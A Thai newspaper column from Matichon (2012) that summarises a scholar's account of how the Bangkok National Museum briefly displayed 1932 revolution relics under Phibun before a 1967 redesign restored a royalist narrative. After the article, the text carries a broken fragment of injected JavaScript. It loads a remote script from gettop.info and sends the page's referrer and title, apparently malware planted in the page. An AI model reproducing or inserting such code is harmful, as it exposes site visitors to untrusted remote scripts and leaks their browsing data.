มติชนรายวัน ฉบับประจำวันพุธที่ 24 ตุลาคม 2555

 

          ไม่เคยรู้ ไม่เคยเห็น ว่าพิพิธภัณฑสถานแห่งชาติ พระนคร เคยจัดแสดงวัตถุเกี่ยวกับการเปลี่ยนแปลงการปกครอง 24 มิถุนายน พ.ศ. 2475

          กระทั่ง กฤช เหลือลมัย (บ.ก. บริหาร วารสารเมืองโบราณ) บอกว่า อ. สุดแดน วิสุทธิลักษณ์ (ม. ธรรมศาสตร์) เคยเปิดเผยหลักฐานไว้ในบทความเรื่องมองหาสิ่งที่ไม่เห็น และการทำพลเมืองให้เชื่อ(ง) ในพิพิธภัณฑสถานแห่งชาติ พระนคร (เมืองโบราณ ฉบับมกราคม-มีนาคม 2554 หน้า 79-89) จะคัดสรุปย่อมาดังนี้

          หลังเปลี่ยนแปลงการปกครอง พ.ศ. 2475 การจัดแสดงบางส่วนในพิพิธภัณฑ์เปลี่ยนแปลงไปจากเดิม สิ่งของที่เกี่ยวเนื่องด้วย “ชาติ-ราษฎร” อย่างใหม่ถูกแทรกไว้ในบรรดาที่เคยจัดแสดงไว้แต่เดิม

          เอกสารบางเล่มบอกเล่าเรื่องพิพิธภัณฑสถานแห่งชาติ (พิมพ์ในงานฉลองวันชาติ พ.ศ. 2486) แสดงรายการสิ่งของไว้หลายอย่าง แต่ในพระที่นั่งองค์หนึ่งจัดแสดงเครื่องยุทธภัณฑ์ต่างๆ สมัย ร.5 และ ร.6 แล้วยังมีรายการสิ่งของลำดับที่ 6, 7 ระบุว่า

          6. เสื้อเชิตและเครื่องแบบทหารบก ซึ่ง ฯพณฯ จอมพล ป. พิบูลสงคราม นายกรัฐมนตรี เมื่อครั้งยังเป็นนายทหารพันเอก สรวมในวันถูกคนร้ายยิง ณ ท้องสนามหลวง เมื่อวันที่ 22 กุมภาพันธ์ พ.ศ. 2477

          7. ฆ้องเงี้ยว กบฏครั้งรัชกาลที่ 5 มีรอยเลือดเจิมที่ฆ้อง และกลองฮ่อเป็นของที่กองทหารซึ่งส่งไปปราบในครั้งนั้นได้มา

          อีก 5 ปีต่อมา มีการจัดแสดงสิ่งของสำคัญเกี่ยวข้องกับเหตุการณ์เปลี่ยนแปลงการปกครอง พ.ศ. 2475 ไว้ด้วย ดังปรากฏหลักฐานในสมุดมัคคุเทศ นำเที่ยวหอสมุด วชิรญาณและพิพิธภัณฑสถานแห่งชาติ กรมศิลปากร (พ.ศ. 2491) มีรายการที่ 10, 11 ระบุว่า

          10. ธงชาติอันแรกที่คณะราษฎรนำขึ้นประดิษฐานเหนือยอดพระที่นั่งอนันตสมาคม เมื่อเวลาเช้าตรู่ 24 มิถุนายน 2475

          11. สิ่งของเครื่องใช้ในการเปลี่ยนแปลงการปกครองเมื่อ 24 มิถุนายน 2475

          อ. สุดแดน เขียนอธิบายความหมายแฝงเร้นว่า “อย่างน้อยก็มีช่วงเวลาหนึ่งที่พิพิธภัณฑสถานแห่งชาติ พระนคร ได้เคยจัดแสดงสิ่งของที่บอกเล่าเรื่องราวว่าด้วย ‘ชาติ’ แตกต่างไปจากเดิม (การจัดแสดงสิ่งของที่ดู ‘ประหลาด’ ทั้งสองครั้งนี้ คือปี พ.ศ. 2486 และ พ.ศ. 2491 เกิดขึ้นในสมัยจอมพล ป. พิบูลสงคราม เป็นนายกรัฐมนตรี)”

          แต่เรื่องราวว่าด้วย “ชาติ” อย่างใหม่นี้ก็มี “ชีวิต” อยู่เพียงช่วงสั้นๆ ก่อนที่จะหายสาบสูญไปอย่างไร้ร่องรอย เพราะ

          “เมื่อมีการปรับปรุงการจัดแสดงครั้งใหม่ในปี พ.ศ. 2510 – – – นอกจากเป็นการเปลี่ยนแปลงการจัดแสดงครั้งสำคัญของพิพิธภัณฑ์ไทยแล้ว ยังถือเป็นจุดเริ่มต้นหรือการคืนกลับมาของการสถาปนาความสำคัญของสถาบันกษัตริย์ ประวัติศาสตร์ และโบราณคดีแห่งชาติไทยให้เข้มข้นขึ้นอีกคราวหนึ่ง”

          พิพิธภัณฑสถานแห่งชาติ หลัง พ.ศ. 2510 อยู่ภายใต้การครอบงำของอำนาจเหนือธรรมชาติและนอกรัฐธรรมนูญ ดังนั้นประวัติศาสตร์ไทยในพิพิธภัณฑ์ จึงอยู่เหนือจริง และอยู่เหนือหลักฐาน สมดัง อ. สุดแดน อธิบายต่อไปว่า

          ‘ชาติไทย’ ในพิพิธภัณฑ์ถูกจินตกรรมขึ้นมาอย่างมีขอบเขตจำกัด (limited) – – – ‘ชาติไทย’ ถูกจินตกรรมขึ้นให้มีอธิปไตย (Sovereign) เป็นรัฐอธิปไตยก็จริงอยู่ แต่ ‘ชาติไทย’ ในพิพิธภัณฑสถานแห่งชาติ พระนคร กลับส่งเสริมความชอบธรรมของอาณาจักรและราชวงศ์

          และยิ่งไปกว่านั้น ‘ชาติไทย’ ถูกจินตกรรมขึ้นเป็นชุมชน (Community) ที่ไม่เสมอภาค หากมีภราดรภาพอันลึกซึ้งในแนวตั้ง และทำให้พลเมืองจำนวนมากยอมสละชีวิต สังเวยตนเพื่อจินตกรรมอันมีขอบเขตจำกัดนี้”

}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;